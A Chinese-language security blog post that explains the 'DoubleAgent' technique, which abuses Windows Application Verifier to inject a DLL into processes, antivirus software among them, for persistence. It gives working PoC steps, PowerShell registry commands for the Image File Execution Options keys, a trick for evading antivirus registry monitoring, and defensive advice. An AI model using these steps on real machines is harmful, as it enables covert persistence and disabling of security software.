0x00 前言
近日,Cybellum Technologies LTD公開了一個0-day漏洞的POC,對其命名爲“DoubleAgent”,可用於控制主流的殺毒軟件
不同於以往的繞過思路,這次使用的是一種直接攻擊並劫持的方式
本文將要介紹該方式的原理,分享利用思路、攻擊條件和防禦方法
Cybellum的博客鏈接如下:
https://cybellum.com/doubleagent-taking-full-control-antivirus/
https://cybellum.com/doubleagentzero-day-code-injection-and-persistence-technique/
POC:
https://github.com/Cybellum/DoubleAgent
0x01 簡介
該方式主要是對微軟系統自帶的Application Verifier(應用程序檢驗器)進行利用
利用過程如下:
- 編寫自定義Verifier provider DLL
- 通過Application Verifier進行安裝
- 注入到目標進程執行payload
- 每當目標進程啓動,均會執行payload,相當於一個自啓動的方式
Application Verifier支持系統:
WinXP-Win10
理論上,該利用方式支持WinXP-Win10,但是POC提供的dll在部分操作系統下會報錯,修復方法暫略,本文僅挑選一個默認成功的系統進行測試——Win8.1 x86
0x02 application verifier
是針對非託管代碼的運行時驗證工具,它有助於找到細小的編程錯誤、安全問題和受限的用戶帳戶特權問題,使用常規的應用程序測試技術很難識別出這些錯誤和問題
注:
類似於Application Compatibility Shims,可以理解爲一種補丁機制
關於Application Compatibility Shims在滲透測試中的利用技巧可參照:
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84Application-Compatibility-Shims/
更多基礎概念可參考微軟官方文檔,地址如下:
https://msdn.microsoft.com/zh-cn/library/aa480483.aspx
測試系統:
Win8.1 x86(默認支持application verifier)
cmd輸入(管理員權限):
appverif
進入控制界面,通過面板查看配置驗證器
如圖
添加一個測試程序,可對其檢測和調試內存損壞、危險的安全漏洞以及受限的用戶帳戶特權問題
如圖
通過命令行也能夠實現相同的操作
命令行添加:
appverif
/verify notepad.exe
命令行刪除:
appverif
/n notepad.exe
注:
對於運行中的進程,不能安裝application verifier
0x03 實際測試
POC編譯環境搭建:
- 安裝VS2017
- 安裝Windows SDK for Windows 8.1
測試系統:
Win8.1 x86
POC添加shellcode:
MessageBox(NULL,
NULL, NULL, 0);
部分代碼如下:
static BOOL main_DllMainProcessAttach(VOID)
{
DOUBLEAGENT_STATUS eStatus = DOUBLEAGENT_STATUS_INVALID_VALUE;
MessageBox(NULL, NULL, NULL, 0);
DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_SUCCESS);
return FALSE != DOUBLEAGENT_SUCCESS(eStatus);
}
編譯後將DoubleAgent_x86.exe和\x86\DoubleAgentDll.dll放於同級目錄下
cmd下: (管理員權限)
安裝:
DoubleAgent_x86.exe
install notepad.exe
卸載:
DoubleAgent_x86.exe
uninstall notepad.exe
如圖
安裝後,啓動notepad.exe,彈框,之後正常啓動notepad.exe
安裝成功後,在面板中也可以看到安裝的verifier
cmd輸入appverif
如圖
如果想要劫持非系統默認安裝的程序,那麼該程序需要存放於system32文件夾下(或者新建快捷方式存放於system32並指向原程序)
需要先將DoubleAgentDll.dll複製到system32下,再通過命令行安裝
安裝成功後,在註冊表會保存安裝信息:
註冊表位置:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options\notepad.exe]
鍵值信息如下:
"GlobalFlag"="0x100"
"VerifierDlls"="DoubleAgentDll.dll"
如果刪除該註冊表鍵值,那麼verifier失效
注:
查看poc源碼發現安裝操作是通過新建註冊表鍵值的方法
所以下面嘗試通過腳本新建註冊表鍵值來實現verifier的安裝:
1、powershell測試代碼實現註冊表鍵值的添加
New-Item -itemType DWord "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe"
New-ItemProperty -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" -name GlobalFlag -propertytype Dword -value 0x100
New-ItemProperty -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" -name VerifierDlls -propertytype String -value DoubleAgentDll.dll
2、將測試dll複製到system32下
copy
DoubleAgentDll.dll c:\windows\system32\DoubleAgentDll.dll
3、再次啓動notepad.exe,彈框
代表verifier被安裝
4、刪除verifier的powershell代碼:
Del
"HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" -recurse
注:
部分殺毒軟件會對註冊表HKLM:\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options\
進行監控
繞過方法:
新建一個任意名稱的註冊表鍵值,再重命名爲目標程序
0x04 分析
利用方式:
- dll注入
- 自啓動
主要用於後滲透階段
特別的地方:
繞過殺毒軟件的攔截,並能夠對殺毒軟件本身進行注入,使殺毒軟件本身失效或者對其利用
攻擊條件:
獲得管理員權限
POC——>EXP:
參照其中DoubleAgentDll工程生成dll,通過powershell或其他腳本實現安裝利用
防禦方法:
- 監控註冊表鍵值HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
- 控制管理員權限
- 查看system32下有無可疑dll和快捷方式
0x05 小結
本文對“DoubleAgent”的原理、利用思路、攻擊條件和防禦方法作了簡要介紹,希望能夠幫助大家